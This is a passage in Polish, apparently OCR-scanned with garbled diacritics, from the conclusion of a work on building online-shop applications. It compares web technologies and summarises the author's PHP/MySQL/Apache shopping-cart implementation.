odpowiednich zasadach odbywajg si¢ licytacje i potencjalny klient row-
niez dokonuje zakupéw. Tak jak w ofercie sklepowej czy wymienionych
wyzej pasazach handlowych oferty podzielone sg na odpowiednie katego-
rie, aby klient mégt w tatwy i szybki sposéb dotrze¢ do interesujacych go
artykutow.

* k%

Handlowe rozwiazania internetowe maja do$¢ duze zastosowanie.
Mogg ograniczy¢ sie¢ tylko do pojedynczych sklepikéw, ale réwniez zrze-
sza¢ si¢ w wielkie przedsigwziecia handlowe, np. pasaze. Sam mecha-
nizm sklepowy jest wykorzystywany we wszystkich przedsigwzigciach,
w ktérych ma miejsce zakup i sprzedaz towardw drogg internetowa.

Staralem si¢ pokaza¢ ogélne, ale tez i bardziej szczegéltowe pro-
blemy zwiazane z tworzeniem interaktywnych aplikacji wykorzystuja-
cych mechanizm koszyka sklepowego, zaczynajac od narzedzi
uzywanych do tego typu rozwigzan, przez problemy bezpieczenstwa
i sposoby implementacji, a na konkretnych zastosowaniach konczac. Jesli
chodzi o narzedzia wykorzystywane w tego typu projektach, to poten-
cjalny programista ma do czynienia z ogromng réznorodnoscia. Taka sy-
tuacja dotyczy serweréw WWW i serwerdw baz danych czy jezykow
programowania. Jak wynika z przeprowadzonych analiz, kazdy produkt
posiada swoje zalety i wady. Wynika to z faktu, iz podczas tworzenia
i rozwoju kazdego z nich jego tworcom przy$wiecata konkretna idea. Na
przyktad jezyk Perl idealnie nadaje si¢ do przetwarzania danych teksto-
wych, gdyz byl tworzony z mysla o obstudze raportéw i moze z powo-
dzeniem dziataé¢ jako skrypt CGI. Wspoélpraca serwera Apache z MySQL
i PHP jest bardzo szybka i stabilna, gdyz wszystkie te elementy posiadajg
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wiele wbudowanych funkcji ulatwiajacych ja. Z kolei technologia JSP
znakomicie nadaje si¢ do tworzenia rozbudowanych projektéw, a ASP
bardzo dobrze sprawdza si¢ w rozwigzaniach wspo6lpracujacych z innymi
narzedziami firmy Microsoft. Jak widaé, wybor konkretnych potaczen
narzedziowych zalezy od tworzonego projektu. Na podstawie przeprowa-
dzonych badan moge stwierdzié, iz najlepszym rozwigzaniem do stwo-
rzenia aplikacji sklepu internetowego jest uzycie technologii JSP, PHP
lub ASP. Przedstawione przeze mnie oprogramowanie zostalo stworzone
w polaczeniu PHP, serwera bazy danych MySQL oraz serwera WWW
Apache. Takie rozwigzania sa mozliwie najbardziej optymalne ze
wzgledu na koszty, szybkoé¢ dzialania, wzgledne bezpieczenstwo, uni-
wersalno$é oraz prostote kodu. Stworzona aplikacja zawiera wszystkie
niezbedne moduly do prawidlowego funkcjonowania. Zaimplemento-
wany zostal mechanizm obshugi koszyka, uwierzytelniania i personaliza-
cji, zakladania kont nowych uzytkownikéw, Sledzenia i skiadania
zamowien. Poza tym pokazatem prosty interfejs administracyjny, z kto-
rego pomocg mozna dodawaé nowe artykuty do bazy danych, edytowac
istniejagce oraz przeglada¢ dokonane zamoéwienia. Dzigki temu, ze kod
PHP nie jest zbyt skomplikowany, mozna tatwo zmodyfikowa¢ istniejace
lub doda¢ nowe funkcje w celu rozszerzenia zastosowan sklepu. Staralem
si¢ zaimplementowa¢é system sklepowy w sposob prosty i zrozumialy, ale
pamietajac przy tym o optymalizacji kodu, bezpieczenstwie i szybkosci
dziatania'. Dzieki temu udato mi sie wyjasni¢ dzialanie podstawowych
mechanizméw wykorzystywanych w aplikacjach e-commerce. Z dziala-
jaca aplikacja sklepu mozna réwniez zapoznaé si¢ na stronie internetowe;j,
pod adresem: http://tramp.strefa.pl/sklep/.
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